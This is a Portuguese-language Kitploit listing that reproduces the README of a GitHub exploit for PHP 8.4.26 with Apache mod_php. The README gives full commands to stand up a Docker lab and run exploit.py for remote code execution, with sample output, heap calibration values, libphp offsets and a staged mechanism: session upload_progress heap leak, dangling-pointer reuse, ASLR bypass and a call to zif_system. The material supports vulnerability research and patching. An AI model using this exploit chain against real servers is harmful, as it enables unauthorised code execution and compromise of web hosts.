Skip to content
KitploitKITPLOIT
FerramentasExploitsBlog
Log in
Enviar
FerramentasExploitsBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

FeedsContatoPrivacidade© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
php2shell-bypass-aslr-exp — Exploit puramente HTTP que alcança RCE no PHP 8.4.26 + Apache mod_php por meio de vazamento de heap no session upload_progress, reutilização de ponteiro pendente e bypass de ASLR para chamar zif_system. | Kitploit
Ferramentas/GitHubGitHub/9bie/php2shell-bypass-aslr-exp
Forensia de MemóriaAnálise de VulnerabilidadesExploraçãoExploração de Aplicações WebPapers e PesquisaFerramenta de Acesso RemotoExploração de Binários
GitHub9bie/php2shell-bypass-aslr-exp

php2shell-bypass-aslr-exp

Exploit puramente HTTP que alcança RCE no PHP 8.4.26 + Apache mod_php por meio de vazamento de heap no session upload_progress, reutilização de ponteiro pendente e bypass de ASLR para chamar zif_system.

Ver Repositório
661244271há 2 diasAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

php2shell — reprodução da vulnerabilidade de sessão no PHP 8.4.26

中文 | English

Sob as restrições de "totalmente remoto, apenas HTTP, a página alvo não possui session_start(), sem escrever nenhum PHP no lado do alvo", obter RCE no PHP 8.4.26 + Apache prefork + mod_php usando um único exploit.py. A imagem oficial php:8.4.26-apache já foi testada com sucesso 3/3 em um único comando (PROOF: uid=33(www-data)...). A versão atual requer display_errors=1; com display_errors=0 já foi obtido o vazamento de heap via HTTP puro, o RCE completo será submetido em breve.

exp

Abaixo estão os comandos completos do zero até o RCE, basta copiar e executar o bloco inteiro. Este repositório não compila PHP/Apache, não há docker build: o ambiente é a imagem oficial php:8.4.26-apache mais os mounts de configuração em docker/.

# 依赖:Docker Engine/Desktop + Docker Compose v2 + Python 3.9+
git clone https://github.com/9bie/php2shell-bypass-aslr-exp.git
cd php2shell-bypass-aslr-exp

# 1) 拉官方镜像(PHP 8.4.26 / Debian 12 / Apache prefork)
docker compose -f docker/docker-compose.yml pull

# 2) 起目标:单 worker、display_errors=On、memory_limit=8M
docker compose -f docker/docker-compose.yml up -d

# 3) 等 Apache 就绪并确认普通页面
for i in $(seq 1 20); do
  curl -fsS http://127.0.0.1:8088/index.php >/dev/null 2>&1 && break
  sleep 0.5
done
curl -s http://127.0.0.1:8088/index.php   # OK

# 4) 一条命令完成整个利用;首次运行会自动读取 libphp 偏移
python3 exploit.py -u http://127.0.0.1:8088/index.php
# PROOF: uid=33(www-data) gid=33(www-data) groups=33(www-data)

Se já estiver dentro do diretório do repositório, pule git clone/cd; pull também pode ser omitido, pois up -d fará o pull da imagem automaticamente.

exploit.py realiza automaticamente a rotação de workers, o vazamento em duas fases, a execução de zif_system e a leitura do proof, com retentativas integradas em cada fase. Ambiente de execução:

ComponenteVersãoOrigem
PHP8.4.26 (NTS, mod_php)php:8.4.26-apache
Sistema baseDebian 12 (bookworm)Idem
Apache2.4.69 (pacote Debian 12 na imagem oficial, testado)Idem
MPMprefork, worker únicodocker/apache.conf
Apache no relatório do lab2.4.68 (compilado originalmente pelo lab, --profile lab)Se for necessária correspondência exata, use a tag 2.4.68 de apache/httpd

Repositório oficial da imagem: docker-library/php (Docker Hub: php:8.4.26-apache); código-fonte do PHP: php/php-src (tag php-8.4.26).

Na primeira execução, docker/offsets.py é executado automaticamente: ele lê os offsets reais de zif_system / zval_ptr_dtor a partir do libphp.so dentro do contêiner e os grava em out/offsets.env; o exploit.py os carrega automaticamente, portanto, ao trocar a imagem oficial ou atualizar, não é necessário alterar os offsets manualmente. O comando padrão é id>/out/p1 (10 bytes); o /out dentro do contêiner é montado em ./out do repositório, e o proof é gravado diretamente na máquina local:

[*] target http://127.0.0.1:8088/index.php (cmd='id>/out/p1')
[*] no offsets file; reading libphp symbols from container php2shell-target
zif_system     0x...
zval_ptr_dtor  0x...
[+] chunk base = 0x...
[+] libphp base = 0x...
[*] stage 3: HTDATA=0x... ZIF=0x...
PROOF: uid=33(www-data) gid=33(www-data) groups=33(www-data)

O limite de comando no payload é de 14 bytes. Para executar comandos arbitrários, escreva o script no diretório montado e execute-o com sh</out/c (8 bytes):

printf 'id; uname -a > /out/p1\n' > out/c
python3 exploit.py -u http://127.0.0.1:8088/index.php -c 'sh</out/c'

Parâmetros comuns: --profile, --cmd, --proof-file, --fetch, --zif-offset, --dtor-offset, --htdata-offset, --no-pre-rotate, --retries. O profile padrão é bookworm (imagem oficial); a compilação original do lab usa --profile lab. --offsets-file '' pode desativar a leitura automática; quando o nome do contêiner não for php2shell-target, use --docker-container para especificá-lo.

A calibração de heap do bookworm já está embutida: número de fillers do stage1 841; array alvo do stage2 406, comprimento do valor do elemento 16; stage3 HTDATA=chunk+0x690d8, o pad de A é 6×(31,31), e adicionalmente carrega 32 caracteres de Cookie: PHPSESSID válido, fazendo B reutilizar o stale id (send_cookie=0), evitando que o cabeçalho Set-Cookie da sessão sobrescreva val.type em R0+16; B usa um carrier de 15B para sobrescrever o val.value da reference. Os offsets do libphp da imagem oficial são lidos automaticamente como zif_system=0x465370, zval_ptr_dtor=0x65eb60; o lab original usa 0x43a870 / 0x613c50.

Visão geral do mecanismo

A superfície de vulnerabilidade é a inicialização de sessão acionada por session.upload_progress antes do RINIT, juntamente com o ponteiro pendente que persiste entre requisições após o bailout por OOM. A seguir, usa-se a build do lab como exemplo; os valores de calibração do bookworm da imagem oficial estão no final do exp.

Todo o tráfego de ataque de toda a cadeia é HTTP multipart comum, e a página alvo contém apenas <?php echo "OK\n"; ?>:

  1. rotação de worker: após A_bigfields (campo POST vivo de 3MB + OOM de 12MB), segue-se imediatamente um B que inicializa a sessão, e o child sai com SIGABRT; o novo worker criado pelo fork do prefork herda os mesmos mapeamentos de libphp/chunk.

  2. vazamento de heap: A usa 1001 campos para acionar o aviso de max_input_vars (display_errors=On → headers_sent=1), PHPSESSID=\x00 gera um novo id e define send_cookie=1, e o último campo de 12MB causa OOM dentro de php_session_initialize(), deixando PS(http_session_vars) pendente. B reocupa a referência antiga com um buffer de valor bruto multipart de 56B e usa a zend_string viva de 192B para carregar a fake HashTable; a leitura fora dos limites em php_url_encode() grava ponteiros de chunk do Zend MM no Set-Cookie (4096B, 98 ponteiros).

  3. vazamento de libphp: A coloca o PS(id) pendente em chunk+0xb7400; a página de HashTable de 56B de B faz ZSTR_LEN(PS(id)) ler nTableSize=16, e a área de dados é exatamente nNextFreeElement|pDestructor; pDestructor = ZVAL_PTR_DTOR = libphp+0x613c50, e a base de libphp é extraída do Set-Cookie.

  4. execução de comandos: A usa 6 pads para fixar a referência pendente em R0=chunk+0x24e0; B usa um raw buffer de 55B para sobrescrever R0-0x10, a fake HashTable é colocada na string viva de 167B em chunk+0x6e0d8, e pDestructor = zif_system = libphp+0x43a870. Cadeia de acionamento:

    php_session_track_init()
      zval_ptr_dtor(PS(http_session_vars))
        zend_reference_destroy(R0)
          zval_ptr_dtor(&ref->val)          # IS_ARRAY_EX
            zend_array_destroy(fake HT)
              zend_hash_destroy(fake HT)
                pDestructor(&bucket->val)   # zif_system
    

    O terminal usa apenas zif_system dentro de libphp, não precisa de libc.

Análise do mecanismo

Baixar ferramenta